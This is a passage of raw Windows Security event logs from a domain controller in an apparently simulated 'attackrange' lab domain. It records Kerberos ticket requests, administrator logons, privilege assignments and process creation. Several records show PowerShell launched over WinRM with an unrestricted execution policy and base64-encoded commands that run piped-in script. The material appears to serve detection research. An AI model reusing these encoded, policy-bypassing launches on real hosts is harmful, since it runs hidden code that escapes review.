- Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252375 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252374 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x154C03 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1030 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x550 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252373 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1278 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-perfmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x13dc - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-perfmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252372 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x154C03 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x550 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x11e8 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252371 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15A33B - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252370 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15A33B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {FF3C54C6-7BE6-DF05-4718-4F7EC754DED6} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252369 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {FF3C54C6-7BE6-DF05-4718-4F7EC754DED6} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252368 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {FF3C54C6-7BE6-DF05-4718-4F7EC754DED6} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252367 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252366 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x154C03 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11e8 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x10bc - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252365 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x154C03 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10bc - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x520 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252364 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15A0B9 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252363 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x15A0B9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {FF3C54C6-7BE6-DF05-4718-4F7EC754DED6} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252362 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {FF3C54C6-7BE6-DF05-4718-4F7EC754DED6} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252361 